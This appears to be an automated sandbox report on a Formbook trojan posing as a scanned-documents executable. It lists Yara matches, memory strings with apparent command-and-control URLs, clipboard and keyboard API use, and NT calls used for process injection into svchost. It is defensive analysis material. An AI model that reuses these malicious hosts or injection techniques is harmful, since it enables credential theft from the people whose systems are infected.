Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 13:32:57 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 13:33:00 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 13:33:02 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 13:33:05 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: MHFAGZiftf.exe, 00000007.00000002.4112168789.0000000002DB8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq
Source: schtasks.exe, 00000004.00000002.4112702566.00000000043B8000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.0000000002DB8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq
Source: MHFAGZiftf.exe, 00000007.00000002.4113899205.0000000004B78000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.lfghtko.lol
Source: MHFAGZiftf.exe, 00000007.00000002.4113899205.0000000004B78000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.lfghtko.lol/yxos/
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl
Source: schtasks.exe, 00000004.00000002.4112702566.00000000046DC000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/bledyhttp/domeny.html
Source: schtasks.exe, 00000004.00000002.4112702566.00000000046DC000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/bledyhttp/hosting.html
Source: schtasks.exe, 00000004.00000002.4112702566.00000000046DC000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/img/logo.svg
Source: MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhosting.pl/kontakt
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: schtasks.exe, 00000004.00000002.4111169499.0000000003130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: schtasks.exe, 00000004.00000003.2131359680.0000000007ECC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://track.uc.cn/collect
Source: schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002FEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_002FEAFF

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002FED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_002FED6A

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

0_2_002FEAFF

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002EAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_002EAA57

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_00319576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00319576

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000000.1644507068.0000000000342000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_866695a4-6
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000000.1644507068.0000000000342000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c619db8c-0
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_420655de-c
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_8ce1c832-0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042B293 NtClose,	1_2_0042B293
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72B60 NtClose,LdrInitializeThunk,	1_2_03C72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03C72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C735C0 NtCreateMutant,LdrInitializeThunk,	1_2_03C735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C74340 NtSetContextThread,	1_2_03C74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C74650 NtSuspendThread,	1_2_03C74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72BE0 NtQueryValueKey,	1_2_03C72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72BF0 NtAllocateVirtualMemory,	1_2_03C72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72B80 NtQueryInformationFile,	1_2_03C72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72BA0 NtEnumerateValueKey,	1_2_03C72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72AD0 NtReadFile,	1_2_03C72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72AF0 NtWriteFile,	1_2_03C72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72AB0 NtWaitForSingleObject,	1_2_03C72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72FE0 NtCreateFile,	1_2_03C72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72F90 NtProtectVirtualMemory,	1_2_03C72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72FA0 NtQuerySection,	1_2_03C72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72FB0 NtResumeThread,	1_2_03C72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72F60 NtCreateProcessEx,	1_2_03C72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72F30 NtCreateSection,	1_2_03C72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72EE0 NtQueueApcThread,	1_2_03C72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72E80 NtReadVirtualMemory,	1_2_03C72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72EA0 NtAdjustPrivilegesToken,	1_2_03C72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C72E30 NtWriteVirtualMemory,	1_2_03C72E30
